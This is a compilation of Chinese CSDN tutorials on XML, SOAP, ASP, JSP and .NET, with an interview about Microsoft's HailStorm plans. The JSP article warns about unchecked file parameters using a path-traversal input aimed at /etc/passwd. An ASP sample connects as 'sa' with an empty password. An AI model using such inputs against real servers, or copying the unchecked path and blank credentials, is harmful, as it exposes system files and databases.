    我们现在已经拥有很多功能强大的工具软件，你甚至可以在线进行调试。因此，今后没有必要再重复投资了。我们也将那些补丁程序在网上公布，方便用户的操作。这其实就是简单的源代码访问方面的重大突破。

    问：你怎样看待人们对在线服务的需求？他们会按照微软的倡议来付费吗？

    答: 冰雹(HailStorm)计划将在用户付费的基础上运作。其中有些服务项目是免费的，有些则不是。这是由微软的市场位置决定的。

    问：现在已经推出那种只需要少量付费的服务项目了吗？

    答：我们对此充满信心，那将是一个极具商业价值的领域。但是像Hotmail和Passport这样的服务，我们将坚持免费的原则。尽管注册还需要一定的费用，但是我们将降低注册费用，以吸引更多的人来使用。由于微软的服务一直以高质量、低收费为标志，所以要把它坚持下去。

    问：在冰雹计划中，最吸引商业用户的是什么服务？

    答：冰雹计划定位于个人服务，设计的各个方面都是用户自身的资料。它并不是一个特定的设备，而是将许多设备连接在一起。因此，这样的服务也可以为商业用户服务。

    问：能不能就此得出这样的结论：冰雹计划是目前微软最理想的策划，并且对公司利益有着相当大的推动作用？

    答：毫无疑问，这个计划的实施将使目前的在线交流水平提高一个档次。它将使所有的交流变成一个真正的有机体。这对B2B也有很大的影响。在这个计划变成现实之后，XML语言将被广泛使用，Office也将成为一个相当抢手的工具。而他们不需要更改任何软件，他们的工作也不会就此变得复杂。XML是一种流行的网络标准，可以让各个商家方便地交换雇员、客户、合作伙伴和厂商等多方面的信息。

    问：你们的XML运作将如何进行？

    答：我们的XML运营和商业紧密联系在一起。事实上，大多数XML运作与商业和B2B联系在一起。冰雹计划更是如此，它对那些正在合作中的双方有着相当强的吸引力。如果你的公司内部采用了冰雹计划进行设置的话，就没有必要再使用Passport这个系统了。

    问：按照你所描述的情况，冰雹计划可以在网络服务器上自由运行，但怎样才能确保其安全性？

    答：我们在这个方面投入了很多。其实，网络协议本身就已经确保了网络安全和服务质量，其传输速度也达到了优化后的最高点。我们已经就传输质量等方面的内容和Ciscos、Akamais、Intel达成了广泛的一致。他们都想通过在线服务来实现产品的优化和升级。因此，这些公司都相当关注 宽带 <http://tech.sina.com.cn/focus/broad.shtml>业务的发展，我们也是如此。在XML构建网络中，这些问题都迎刃而解，因为XML网络本身在安全性、传输速度等方面都具有独特的优势。

    问：目前跟微软合作的是哪个咨询公司？它负责Microsoft on .Net和冰雹计划的哪个方面的咨询？

    答：我们现在和其他合作伙伴着重发展XML网络服务。微软有专门的一个小组关注Accenture和其他一些综合性系统的发展。我们和Accenture之间也签署有合作范围相当广泛的培训计划，培训的内容主要是XML网络服务。在我们的合作伙伴中，最为出色的是Visual Studio.Net。这是微软的一个策略，我们甚至将自己的未来都交给它了。而我们的顾问则要求知道更多的有关XML网络服务的内容，他们都是很专业的咨询团队，给了微软很多方面的帮助。

    问：你怎样看待你的竞争对手：Sun Microsystems、Hewlett-Packard和IBM？他们在网络服务方面的进展有没有引起你的关注？

    答：其实HP给了微软很多帮助。我们正处在合作时期，客户们能从中受益非浅。而IBM则是一个令人肃然起敬的竞争对手，我们在很多方面都有竞争。IBM也是电脑产业的巨人，在许多领域都占据着龙头老大的地位。但是我们在软件使用人数方面也是第一，因此IBM和微软之间的竞争将会格外激烈。

    从这个意义上说，我们之间合作的项目就相当重要了。我们很高兴看到，IBM也逐渐将其注意力集中到XML网络服务上来了。如果你只从SOAP(Simple Object Access Protocol)和 UDDI(Universal Description, Discovery and Integration)这些方面来看的话，IBM是一个相当不错的合作伙伴。但是一旦接触到一个未完成的操作平台时，他们选择了WebSphere，我们则选择了.Net。

    在其他很多方面也是如此。IBM会在某些领域给我们的产品一定的活动范围，比如他们生产并销售基于Windows系统的服务器。他们也利用其出众的硬件技术和生产水平开始大量生产基于Windows系统的 笔记本 <http://tech.sina.com.cn/focus/notebook.shtml>电脑，这些产品都很完美。XML只是一个行业标准，只是IBM的产品是WebSphere，我们的则是.Net。

    问：那么你怎样看Sun公司的发展呢？

    答：Sun是一个很难用语言来描述的公司。他们所有的资金都来源于高端硬件的销售，并参与了多项行业竞争。它独立开发出了Java语言，我们也觉得很出色。但由于版权问题，我们现在还不能在自己的产品中使用这种语言。不过，我们一直使自己的产品能够与之兼容。Sun其实是我们潜在的一个相当可怕的对手。他们还是愿意相信昂贵的硬件，认为用于研发的资金应该受到限制，他们还认为将一些必要的知识教给雇员是个愚蠢的想法。这对于微软来说，一切都是不可能的。

    问：最近，微软对Java语言的发展做何想法？

    答：Sun公司一直致力于将Java制定为一个行业标准，微软在很多方面都对其进行了大力支持。我们拥有最好的Java虚拟主机，这台主机给了我们很多帮助。Java也是Visual Studio架构中的一个重要的组成部分。但要想将其定位成行业中唯一的语言，是相当愚蠢的做法。Java的确是很不错的语言，已经有很多接受了它。这已经足够了。

    问：Visual Basic在过去的10年中只有很少的一点变动。但微软现在推行的是新型的网络服务系统，VB将如何适应整个技术的发展？

    答：Basic语言最大的变动就是将其图形化。Visual Basic在这个方面已经做得很成功了。但C语言就很难实现从文字界面到图形界面的转变，而我们还是做到了这一点，当你在编写时可以看到自己的程序运行状态。这个功能叫做“Microsoft Foundation Classes”。目前大多数采用C语言编写的Windows程序采用的都是MFC功能。在拨号上网时代，我们拥有MFC；在XML时代，我们拥有.Net架构。对于那些真正理解了XML的人，未来是属于他们的。


csdn_SOAP应用简介(1)

  SOAP应用简介(1)
作者： padalin
创建WSML文件

在运行IIS的服务器上，把下面的文件DocSample1.wsml复制到刚才建立的DocSample1路径下

DocSample1.wsml文件:

<?xml version=’1.0’ encoding=’UTF-16’ ?>
<!-- Generated 12/14/00 by Microsoft SOAP SDK WSDL File Generator, Version 1.0 -->
<servicemapping name=’DocSample1’>
<service name=’DocSample1’>
<using PROGID=’DocSample1.Sample1’
cachable=’0’
ID=’DocSample1Object’ />
<port name=’DocSample1PortType’>
<operation name=’EchoString’>
<execute uses=’DocSample1Object’
method=’EchoString’dispID=’1610809344’ >
<parameter callIndex=’1’ name=’testString’
elementName=’testString’ />
<parameter callIndex=’-1’ name=’retval’
elementName=’Result’ />
</execute>
</operation>
<operation name=’AddNumbers’>
<execute uses=’DocSample1Object’
method=’AddNumbers’ dispID=’1610809345’>
<parameter callIndex=’1’ name=’NumberOne’
elementName=’NumberOne’ />
<parameter callIndex=’2’ name=’NumberTwo’
elementName=’NumberTwo’ />
<parameter callIndex=’-1’ name=’retval’ elementName=’Result’ />
</execute>
</operation>
<operation name=’SubtractNumbers’>
<execute uses=’DocSample1Object’
method=’SubtractNumbers’ dispID=’1610809346’>
<parameter callIndex=’1’ name=’NumberOne’
elementName=’NumberOne’ />
<parameter callIndex=’2’ name=’NumberTwo’
elementName=’NumberTwo’ />
<parameter callIndex=’-1’ name=’retval’ elementName=’Result’ />
</execute>
</operation>
</port>
</service>
</servicemapping>

把文件中ProgID改为你刚才创建的ActiveX DLL的ProgID（如果严格按步骤做，这个例子是不用改的）

创建ASP应用

在运行IIS的服务器上，把下面的文件DocSample1.asp复制到刚才建立的DocSample1路径下

<%@ LANGUAGE = VBScript %>
<% Response.ContentType = "text/xml" %>
<%
set soapserver = CreateObject("MSSOAP.SoapServer")
wsdl = Server.MapPath("DocSample1.wsdl")
wsml = Server.MapPath("DocSample1.wsml")
call soapserver.init(wsdl, wsml)
call soapserver.SoapInvoke(request, response)
%>

在客户端做以下工作

创建一个VBScript应用

在客户端，创建一个文件，包含以下代码

set soapclient = CreateObject("MSSOAP.SoapClient")
Call soapclient.mssoapinit("http://localhost/DocSample1/DocSample1.wsdl", "DocSample1", "DocSample1PortType")
wscript.echo soapclient.EchoString("Bob")
wscript.echo soapclient.AddNumbers(2,3)
wscript.echo soapclient.SubtractNumbers(3,2)

On Error Resume Next
wscript.echo soapclient.faultcode
wscript.echo soapclient.faultstring
wscript.echo soapclient.faultactor
wscript.echo soapclient.detail

保存文件为clientDocSample1.vbs.

测试

打开命令行窗口，输入cscript clientDocSample1.vbs

注：

1.cscript是一个在命令行方式下运行script文件的东东，一般格式如下:

cscript [//host option] scriptfile

host option以"//"开头，设置一些参数 如

cscript //nologo XXX.vbs或者cscript //logo XXX.vbs,后面一个多了一行“版权所有”之类的话

2.报读WSDL文件错误时，试试将<?xml version=’1.0’ encoding=’UTF-16’ ?>改为<?xml

version=’1.0’ encoding=’gb2312’ ?>

3.在Advanced Server下面，要注意DLL的执行权限

理解服务器端的开发

在这个简单的应用中，你首先在服务器端创建创建DocSample1.dll。这个DLL实现简单的算术操作(EchoString,

AddNumbers,和SubtractNumbers)。注意，如果没有在运行IIS的服务器上创建这个DLL，必须将之复制到服务器上，并注册。

DocSample1.wsdl：这个WSDL文件描述了服务以及服务中包含的操作: EchoString, AddNumber,和

SubtractNumbers. 它定义了客户发送SOAP消息时必须遵从的格式。

DocSample1.wsml：这个WSML文件是Microsoft SOAP实现中特定的文件。

DocSample1.asp: 这个ASP文件处理SOAP请求。


csdn_SOAP应用简介

  SOAP应用简介
作者： padalin
使用高层API发送和接收SOAP消息

在这个简单的例子中，服务器提供简单的算术服务：加法，减法，显示字符串（仅仅把输入的字符串回显出来）。为了创建这个应用程序，你需要在服务器和客户端创建不同的组件。在服务器这一端，你需要：

创建一个ActiveX DLL

创建一个WSDL文件列出服务以及服务中的操作

创建一个WSML文件，把WSDL中描述的服务的操作对应到COM对象的方法

创建一个ASP文件，处理SOAP请求

在客户端，你需要：

写一个VBScript调用服务器提供的操作

在客户端和服务器端，这个简单的应用使用了高层API，例如 SoapClient 和 SoapServer 来发送和接受消息。

在服务器端做以下工作

创建一个ActiveX DLL

打开VB，创建一个ActiveX DLL工程（注意，这个服务器上要安装IIS）

把工程名改为DocSample1，类名改为Sample1

在Sample1类中，添加以下代码：

Public Function EchoString(ByVal testString As String) _
As String
EchoString = testString
End Function

Public Function AddNumbers(ByVal NumberOne As Double, _
ByVal NumberTwo As Double) _
As Double
AddNumbers = NumberOne + NumberTwo
End Function

Public Function SubtractNumbers(ByVal NumberOne As Double, _
ByVal NumberTwo As Double) _
As Double
SubtractNumbers = NumberOne - NumberTwo
End Function

选择菜单项 Make DocSample1.dll创建DLL文件

创建虚拟路径

在IIS环境下，创建一个Web虚拟路径，叫DocSample1

创建WSDL文件

在运行IIS的服务器上，把下面的文件DocSample1.wsdl复制到刚才建立的DocSample1路径下

DocSample1.wsdl文件:

<?xml version=’1.0’ encoding=’UTF-16’ ?>
<definitions name =’DocSample1’ targetNamespace = ’http://localhost/DocSample1/DocSample1.wsdl’
xmlns:tns=’http://localhost/DocSample1/DocSample1.wsdl’
xmlns:xsd1=’http://localhost/DocSample1/DocSample1.xsd’
xmlns:soap=’http://schemas.xmlsoap.org/wsdl/soap/’
xmlns=’http://schemas.xmlsoap.org/wsdl/’>
<types>
<schema
targetNamespace=
’http://localhost/DocSample1/DocSample1.xsd’
xmlns=’http://www.w3.org/1999/XMLSchema’>
</schema>
</types>
<message name=’EchoString’>
<part name=’testString’ type=’string’/>
</message>
<message name=’EchoStringResponse’>
<part name=’Result’ type=’string’/>
</message>
<message name=’AddNumbers’>
<part name=’NumberOne’ type=’double’/>
<part name=’NumberTwo’ type=’double’/>
</message>
<message name=’AddNumbersResponse’>
<part name=’Result’ type=’double’/>
</message>
<message name=’SubtractNumbers’>
<part name=’NumberOne’ type=’double’/>
<part name=’NumberTwo’ type=’double’/>
</message>
<message name=’SubtractNumbersResponse’>
<part name=’Result’ type=’double’/>
</message>
<portType name=’DocSample1PortType’>
<operation name=’EchoString’ parameterOrder=’EchoStringInput1’>
<input message=’tns:EchoString’ />
<output message=’tns:EchoStringResponse’ />
</operation>
<operation name=’AddNumbers’
parameterOrder=’AddNumbersInput1 AddNumbersInput2’>
<input message=’tns:AddNumbers’ />
<output message=’tns:AddNumbersResponse’ />
</operation>
<operation name=’SubtractNumbers’
parameterOrder=’SubtractNumbersInput1 SubtractNumbersInput2’>
<input message=’tns:SubtractNumbers’ />
<output message=’tns:SubtractNumbersResponse’ />
</operation>
</portType>
<binding name=’DocSample1Binding’ type=’tns:DocSample1PortType’ >
<soap:binding style=’rpc’
transport=’http://schemas.xmlsoap.org/soap/http’ />
<operation name=’EchoString’ >
<soap:operation
soapAction=’http://localhost/DocSample1/DocSample1.asp’ />
<input>
<soap:body use=’encoded’
namespace=’http://localhost/DocSample1/DocSample1.xsd’
encodingStyle=’http://schemas.xmlsoap.org/soap/encoding/’ />
</input>
<output>
<soap:body use=’encoded’
namespace=’http://localhost/DocSample1/DocSample1.xsd’
encodingStyle=’http://schemas.xmlsoap.org/soap/encoding/’ />
</output>
</operation>
<operation name=’AddNumbers’ >
<soap:operation
soapAction=’http://localhost/DocSample1/DocSample1.asp’ />
<input>
<soap:body use=’encoded’
namespace=’http://localhost/DocSample1/DocSample1.xsd’
encodingStyle=’http://schemas.xmlsoap.org/soap/encoding/’ />
</input>
<output>
<soap:body use=’encoded’
namespace=’http://localhost/DocSample1/DocSample1.xsd’
encodingStyle=’http://schemas.xmlsoap.org/soap/encoding/’ />
</output>
</operation>
<operation name=’SubtractNumbers’ >
<soap:operation
soapAction=’http://localhost/DocSample1/DocSample1.asp’ />
<input>
<soap:body use=’encoded’
namespace=’http://localhost/DocSample1/DocSample1.xsd’
encodingStyle=’http://schemas.xmlsoap.org/soap/encoding/’ />
</input>
<output>
<soap:body use=’encoded’
namespace=’http://localhost/DocSample1/DocSample1.xsd’
encodingStyle=’http://schemas.xmlsoap.org/soap/encoding/’ />
</output>
</operation>
</binding>
<service name=’DocSample1’ >
<port name=’DocSample1PortType’ binding=’tns:DocSample1Binding’ >
<soap:address
location=’http://localhost/DocSample1/DocSample1.asp’ />
</port>
</service>
</definitions>


csdn_让Asp与XML交互

让Asp与XML交互 作者：豆腐
/*
豆腐制作 都是精品
http://www.asp888.net 豆腐技术站
如转载 请保留完整版权信息
*/
XML 是标准扩展语言，是 未来Web编程的标准,asp 是现在广为流传的web编程语言之一,能不能让他们
两个联合起来发挥作用呢？豆腐 在 这里 给大家 提供一个 很简单的 例子
关于XML 和 XSL 限于篇幅和知识水平 豆腐就不在这里 献丑了
下面首先来 说说 几个需要用到的文件的 内容

testXsl.xsl:

<?xml version='1.0'?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:template match="/">
<html>
<body>
<xsl:for-each select="PERSONNEL/PERSON">
<xsl:choose>
<xsl:when match=".[FG='boy']">
<input type="text">
<xsl:attribute name="value">
<xsl:value-of select="NAME"/>
</xsl:attribute>
</input>
<br/>
</xsl:when>
<xsl:otherwise match=".[FG='girl']">
<font color="red"><li><xsl:value-of select="NAME"/></li></font>
<br/>
</xsl:otherwise>
<xsl:otherwise>
<font color="blue"><xsl:value-of select="NAME"/></font>
</xsl:otherwise>
</xsl:choose>

</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

testXML.xml:
<?xml version="1.0" encoding="gb2312" ?>
<PERSONNEL>
<PERSON>
<NAME>男性</NAME>
<FG>boy</FG>
</PERSON>
<PERSON>
<NAME>女性</NAME>
<FG>girl</FG>
</PERSON>
<PERSON>
<NAME>呵呵，这个可不好说</NAME>
<FG>donot know</FG>
</PERSON>
</PERSONNEL>

testXML.asp

<%
set xml = Server.CreateObject("Microsoft.XMLDOM")
xml.async = false
xml.load(server.mappath("testXML.xml"))

set xsl = Server.CreateObject("Microsoft.XMLDOM")
xsl.async = false
xsl.load(server.mappath("testXSL.xsl"))

Response.Write(xml.transformNode(xsl))

%>

对照这个例子，我们主要来讲一下 testXML.asp 文件
set xml = Server.CreateObject("Microsoft.XMLDOM")
set xsl = Server.CreateObject("Microsoft.XMLDOM")
用来分别创建一个xml和xsl的实例，其中xml.load(server.mappath("testXML.xml"))用来加载
包含数据的xml文件，xsl.load(server.mappath("testXSL.xsl"))用来加载包含数据规则的xsl
文件，最终利用xml.transformNode(xsl)将前面的规则使用在XML文件中。


csdn_用XML数据岛解决用户界面问题 - 3

用XML数据岛解决用户界面问题 - 3 作者：杨庆新·yesky
把数据库的表数据保存到文件中

    我曾答应向你展示如何避免每次请求都要读取数据库和串联成XML字符串的步骤。答案就是把数据库的表数据保存到文
件中；这样做有几个好处。读取文件比查询数据库并把记录集格式化成XML要快。这样做也可以简化你的HTML文件，因为你
只需在HTML中包含对XML的引用。最后这样做使数据对于客户端来说是透明的。如果你以Listing 1中的方式发送XML标记符
的话，用户可以通过IE的"查看/源文件"看到数据。使用文件引用的话，用户只能看到引用标记符，而非数据。

    只要你的数据库记录不是永不改变的，你就还得在数据改变时查询数据库。例如，你可以在SQL Server中写一个触发
器，当"Location"表发生改变时更新"LastChanged"表中的日期和时间（Listing 3）。对于每一次请求，你可以比较
Location"表与保存数据的XML文件的日期和时间。本文使用的Access数据库不支持触发器，但你可以编写代码来实现
当"Location"表发生改变时更新"LastChanged"表的功能。你也可以每隔一段时间，如一天或一个小时就重新生成文件。

    用Scripting.FileSystemObject 和 Scripting.TextStream对象写XML文件到硬盘中。为了能写XML文件，你必须给
IUSR_MACHINENAME匿名用帐户足够的权限以打开、读、写和删除文件（如果你使用的是NTFS格式的分区硬盘的话）。如果
你只想利用XML数据重新在客户端建立一个记录集的话，你可以用adPersistXML方法保存记录集到硬盘中。如果你这样做的
话，必须注意ADO为了能从XML数据重新建立记录集而把记录集保存成优化的格式。这样生成的XML对于XSL查询语句而言即
不美观又不方便：

    Dim fs

    Dim ts

    dim aFilename

    aFilename = Server.MapPath _("/XMLDataIslands") & _"\locations.xml"

    set fs = Server.CreateObject _("Scripting.FileSystemObject")

    set ts = fs.OpenTextFile _(aFilename, ForWriting)

    ts.Write s

现在，当你收到一个请求时，查看"LastChanged"表中日期和时间：

    Dim SQL

    Dim R

    Dim conn

    dim tableModifyDate

    set conn = Server.CreateObject _("ADODB.Connection")

    conn.mode = adModeRead

    conn.open "DSN=CheapPC;UID=sa;PWD="

    SQL = "SELECT " & _"LastChanged.LastChanged " & _"FROM Locations WHERE " & _"Tablename='Locations'"

    set R = conn.execute(SQL,,adCmdText)

    tableModifyDate = R("LastChanged")

接下来，通过获取一个File对象来比较XML文件与tableModifyDate的日期和时间，并查看它的FileCreatedOn属性值：

    dim fs

    dim aFile

    dim rewriteFile

    rewriteFile=False

    set fs = Server.CreateObject _("Scripting.FileSystemObject")

    if fs.FileExists(aFilename) then

        Set aFile = fs.GetFile(aFilename)

        If aFile.DateCreated < _LocationsModifiedDate Then

          rewriteFile=True

        end if

    else

        rewriteFile=true

    end if
    如果XML文件不存在或需要更新时，你必须写文件（Listing 4）。这样就重新从数据库读取数据并格式化成XML，但你
只需覆盖旧的XML文件而不必把XML发送到浏览器。现在在你的HTML文件中，你只需引用该XML文件即可。当你的XML文件不
需要更新，你的服务器会略过数据的读取与格式化，只是简单地读取XML数据到浏览器。从整体上看，读取XML数据为你的
服务器节省了大量的处理能力，使你的页面更有效率。

源代码可以从http://www.yesky.com/34670816/xmldaima.zip下载


csdn_XML和JSP的联手

XML和JSP的联手 作者：javawor
令我我想不到的是翻译这篇文章居然花费了我整个8小时的工作时间！也许有些细节地方理解或表达得不够好，但这篇译文的价值也在于它从总体上概览了jsp +xml的多种协同工作方式，在某些应用中用xml文件代替数据库应该也是比较新的观点，象resin这样的平台开始提供了新的工具来支持xml,等等）
另外，8/28在以下站点又有一篇关于jsp+xml的新文章推出，有兴趣的可以去看一下：

http://www.devx.com/upload/free/features/javapro/2000/08aug00/ww0008/ww0008-1.asp

本文来自http://www.javaworld.com/javaworld/jw-03-2000/jw-0331-ssj-jspxml.html

如果你访问该页，还可以连接到resource，init.jsp和其它源代码文件

此致

}

  two great tastes that taste great together

作者：alex chaffee

概览：

xml和jsp是这些日子中最热的东西。本文介绍如何联合这两种技术来建设动态网站。你还可以同时看一下dom，xpath，xsl，和其它java-xml技术的示例代码。

我们在此假设你已经了解javaserver pages(jsp)和extensible markup language (xml)。但也许你对该如何综合使用它们仍然有些迷惑。

jsp的应用很容易，你可以用它设计网页，使之看起来似乎和html一样。唯一的不同是jsp是动态执行的。例如，它们可以处理表单form和读写数据库。
xml的应用的说明则比较困难。似乎所有的产品都支持它，每个人也好象都以各种不同目的在使用它。

在本文中，你可以看到如何使用一种相当先进的方式用xml来设计一个系统。许多站点有巨量数据收集并以一种很标准或很不标准的方式来显示它们。我将设计一个系统，它使用xml文件在web服务器上进行存储，并用jsp来显示数据。

xml vs 关系型数据库

"等一下！"你可能问,"你用xml文件存储数据吗?为什么不使用数据库？"
这个问题问的很好。我的回答是，对很多目的用途来说，用数据库太过浪费了。.要使用一个数据库，你必须安装和支持一个分离的服务器处理进程（a separate server process）,它常要求有安装和支持它的administrator。你必须学习sql, 并用sql写查询，然后转换数据，再返回。而如果你用xml文件存储数据，将可减少额外的服务器的负荷。还有，你还找到了一个编辑数据的简单方法。你只要使用文本编辑器,而不必使用复杂的数据库工具。xml文件很容易备份，和朋友共享，或下载到你的客户端。同样的，你可以方便地通过ftp上载新的数据到你的站点。

xml还有一个更抽象的优点，即作为层次型的格式比关系型的更好。 它可以用一种很直接的方式来设计数据结构来符合你的需要。你不需要使用一个实体-关系编辑器，也不需要使你的图表（schema）标准化。 如果你有一个元素（element）包含了另一个元素，你可以直接在格式中表示它，而不需要使用表的关联。

注意，在很多应用中，依靠文件系统是不够充分的。如果更新很多，文件系统会因为同时写入而受到破坏。数据库则通常支持事务处理，可以应付所发生的请求而不至于损坏。对于复杂的查询统计要有反复、及时的更新，此时数据库表现都很优秀。当然，关系型数据库还有很多优点，包括丰富的查询语言，图表化工具，可伸缩性，存取控制等等。

(注意：你可以使用简单的文件锁定来提供一个事务处理服务器，你还可以在java中执行一种 xml index-and-search工具，不过这已经是另外一篇文章的主题了。)

在下面这样的案例中，正如大多数中小规模的、基于发布信息的站点一样，你可能涉及的大多数数据存取都是读，而不是写，数据虽然可能很大，但相对来说并没有经常的更新变化，你也不需要做很复杂的查询，即使你需要做，也将用一个独立的查询工具，那么成熟的rdbms的优点消失了，而面向对象型的数据模型的优点则可以得到体现。

最后，为你的数据库提供一个查询器外壳来进行sql查询并将他们转化进入xml stream也是完全有可能的。

所以你可以选择这二种方式之一。xml正变成一种非常健壮的，便于编程的工具，作为某个成熟的数据库的前端工具来进行存储和查询。(oracle的xsql servlet即是这种技术的一个很好的例子。)

应用篇：一个在线相册

所有人都喜欢照相！他们喜欢展示自己的，亲人的，朋友的，度假时的照片，而 web 是他们展示的好地方。-- 即使千里之外的亲戚都可以看到。我将着重于定义一个单独的picture对象。(这一应用的源代码在resources中可以取得) 。该对象描述了表示一张照片所需要的字段：title,date,一个可选的标题，以及对图片来源的一个指向。

一个图象，需要它自己的一些字段：源文件( gif/jpeg)的定位，宽度和高度像素(以协助建立<img> 标记。 这里可以看到一个很简单的优点，即使用文件系统来代替数据库的时候，你可以将图形文件存放在与数据文件相同的目录中。

最后，让我们来用一个元素扩展图片记录，该元素定义了一套缩略图（thumbnail）来用于内容表或其它地方。这里我用了和先前同样定义的图片内容。

一张图片的xml表示可以是这样的：

<picture>
<title>alex on the beach</title>
<date>1999-08-08</date>
<caption>trying in vain to get a tan</caption>
<image>
<src>alex-beach.jpg</src>
<width>340</width>
<height>200</height>
</image>
<thumbnails>
<image>
<src>alex-beach-sm.jpg</src>
<width>72</width>
<height>72</height>
</image>
<image>
<src>alex-beach-med.jpg</src>
<width>150</width>
<height>99</height>
</image>
</thumbnails>
</picture>

注意，通过使用xml, 你将一张单独图片的全部信息放到了一个单独的文件中，而不是将它分散放入3-4个表中。
我们将这称为 .pix file

-- 于是你的文件系统会是这样的:

summer99/alex-beach.pix
summer99/alex-beach.jpg
summer99/alex-beach-sm.jpg
summer99/alex-beach-med.jpg
summer99/alex-snorkeling.pix
etc.

技术篇

俗话说，要剥下猫的皮的方法何止一种。同样，将xml数据放到jsp中也不止一种办法。这里列举了其中一些方法，（其实，很多其它工具也可以做得同样出色。）

dom: 你可以使用类（classes）来调用dom接口（interface）对xml文件进行分析检查。
xmlentrylist: 你可以使用我的代码来将xml加载到name-value pairs 的java.util.list中。

xpath: 你可以使用一个 xpath处理器（如resin）通过路径名在xml文件中定位元素。

xsl:你可以使用某种xsl处理器将xml转换成为html。

cocoon: 你可以使用开放源码的cocoon framework

运行你自己的bean: 你可以写一个外壳类（wrapper class），使用某种其它技术来将数据加载到字定义的javabean中。

请注意这些技术将和一个你从另外来源取得的xml stream执行得同样出色，例如一个客户端或者一个应用服务器。

javaserver pages

jsp规范有很多替身，不同的jsp产品表现也不尽相同，不同版本之间也有差别。我选择了tomcat,这基于以下原因：
它支持大多数最新的jsp/servlet规范
它受到 sun和apache认同
你可以独立运行它而不需要另外配置一个web服务器。
它是开放源码的

你可以选择任何你喜欢的jsp引擎，但要自己配置它，它必须至少支持jsp 1.0规范。0.91和1.0之间有了许多区别。而jswdk (java server web development kit) 可能刚刚好地适合要求。

jsp结构

当创建一个jsp网站 (webapp), 我喜欢将公用的函数、导入、常量、变量声明都放入到一个单独的文件init.jsp中。 然后用 <%@include file="init.jsp"%>加载到每一个文件中去。 <%@include%> 就象c语言的 #include, include在编译时使其中的文本作为一个部分被加入并一起进行编译，相对地， <jsp:include>标记则是使其中的文件被独立地进行编译，然后在文件中嵌入一个对它的调用。

查找文件
当jsp启动时，初始化后第一件事情就是查找你要的xml文件。它是怎么知道在众多文件中你要找的是哪一个? 它来自与一个参数，使用者会在调用jsp的url中加入参数： picture.jsp?file=summer99/alex-beach.pix (或者通过html表单来传递文件参数)。
但是，当jsp接受此参数以后，你仍然只完成了一半工作，因为还要知道文件系统的根目录在哪里。例如，在unix系统中，实际文件可能在这样的路径：

/home/alex/public_html/pictures/summer99/alex-beach.pix。

jsp文件在执行状态时没有当前路径概念。所以你为java.io包要给出一个绝对路径。

servlet api可以提供一个方法来将一个url路径，从相对于当前jsp或servlet的路径转化成为一个绝对的文件系统路径。方法是：

servletcontext.getrealpath(string)。

每一个jsp有一个叫做application的 servletcontext对象。所以代码可以是：
string picturefile =
application.getrealpath("/" + request.getparameter("file"));

或者
string picturefile =
getservletcontext().getrealpath("/" + request.getparameter("file"));

它也可以在servlet中工作。(你必须加上 / 因为此方法需要传递request.getpathinfo()的结果。)

这里有一个重要的提示：每当你存取本地的资源，要非常小心地检查输入数据的合法性。黑客或者粗心的用户，可能发送伪造的或错误的数据来破坏你的站点。例如，请想一下以下的表达会发生什么结果：

如果输入了file=../../../../etc/passwd。这样用户回读到你的服务器的password文件！

dom (document object model）

dom 代表文档对象模型document object model。它是浏览xml文档的一种标准api，由world wide web consortium (w3c)发展。 接口在org.w3c.dom包中，文档参见w3c站点。

有许多可用的dom分析器工具。我选择了 ibm的xml4j。但你可以使用任何其它的dom分析器。这是因为dom是一套接口，而不是类 --所有的dom分析器（parser）必须返回同样地处理这些接口的对象。

遗憾的是，虽然很标准，dom还是有两大缺陷：

1 api虽然也是面向对象的，还是相当笨重。

dom parser并没有标准的api，所以， 当每一个分析器返回一个org.w3c.dom对象，文档对象--分析器初始化和文件自身加载的方式，对应于不同分析器通常总是特定的。
这个简单的上面已描述的图片文件在dom中可以在一个树结构中通过一些对象表示如下：
document node
--> element node "picture"
--> text node "\n " (whitespace)
--> element node "title"
--> text node "alex on the beach"
--> element node "date"
--> ... etc.
为了取得“alex on the beach”，你要做一些方法调用，游历dom树，而且，分析器可能选择分散“whitespace”文本nodes的一些数据，你不得不使用循环和串联等 （你可以通过调用normalize()来纠正这个问题。）分析器可能还包含了分离的xml实体(如 &amp;), cdata nodes或者其它实体nodes (如<b>big<b>会被变成至少三个node。也没有办法在dom中简单表示"get me the text value of the title element." 总之，在dom中游历有一点笨重。（参见本文用xpath取代dom章节。）

2 从更高处看，dom的问题是xml对象无法象java对象一样可以直接得到，它们需要通过 dom api一个一个地得到。

你可以参考我的为java-xml data binding技术讨论做的一些归纳，那里也用了这种直接使用java的方法来存取xml数据。

我写了一个小的工具类，叫做domutils,包含了静态方法来执行公用的dom任务。例如，要获得根（图片）元素的title子元素的文本内容，你可以编写如下代码：

document doc = domutils.xml4jparse(picturefile);
element noderoot = doc.getdocumentelement();
node nodetitle = domutils.getchild(noderoot, "title");
string title = (nodetitle == null) ? null : domutils.gettextvalue(nodetitle);


csdn_将XML信息存入文件

将XML信息存入文件
（其实可以使用XMLDocuemnt里面自己带的方法，我还是喜欢我这种方式）。
try
{
string xmlFileContent="<?xml version='1.0' encoding='gb2312'?>\n\r";
xmlFileContent+="<?xml-stylesheet type='text/xsl' href='realplayer.xsl'?>\n\r";
xmlFileContent+="<courseslides xmlns='x-schema:slides-schema.xml'>\n\r";
。。。。。
xmlFileContent+="</courseslides>\n\r";

file=System.IO.File.CreateText("c:\\media.xml");
System.IO.StreamWriter file=new System.IO.StreamWriter(this.WorkPath(5)+"\\media.xml",false,System.Text.Encoding.Default);

file.Write(xmlFileContent);
file.Close();

}
catch(System.Xml.XmlException e)
{
MessageBox.Show("测试版运行中错误，请将以下详细错误信息发送到XXXX@XXX.COM,协助我们进一步修正，谢谢:"+e.Message,"系统错误",System.Windows.Forms.MessageBoxButtons.OK,System.Windows.Forms.MessageBoxIcon.Error);
}


csdn_.NET里面利用XML

.NET里面利用XML 作者：动网先锋
呵呵，有意思，听过一个笑话，说德国一个老头，是个聋子，在如厕时，突然苏联战机空袭，虽然房屋倒塌，可是全家人都没有事情，家里人扒开卫生间的墙壁，发现老头在那儿乐，说：我一拉抽水马桶的绳，屋就倒了。
哈哈哈，我也是这样，刚才我一发这贴子，chinaasp就完了，还以为是我的事情呢，原来是苏联飞机来炸了，呵呵。
如果你喜欢玩xml，那么请跟我来，但在此之前，请深呼一口气，因为我给大家介绍一个长代码，在这个代码中揭示了微软在ASP.NET架构中隐藏的一个ＷＥＢ表单控件，即<asp:xml runat=server/>，我只给代码，不给解释，大家自己下课后去研究吧。
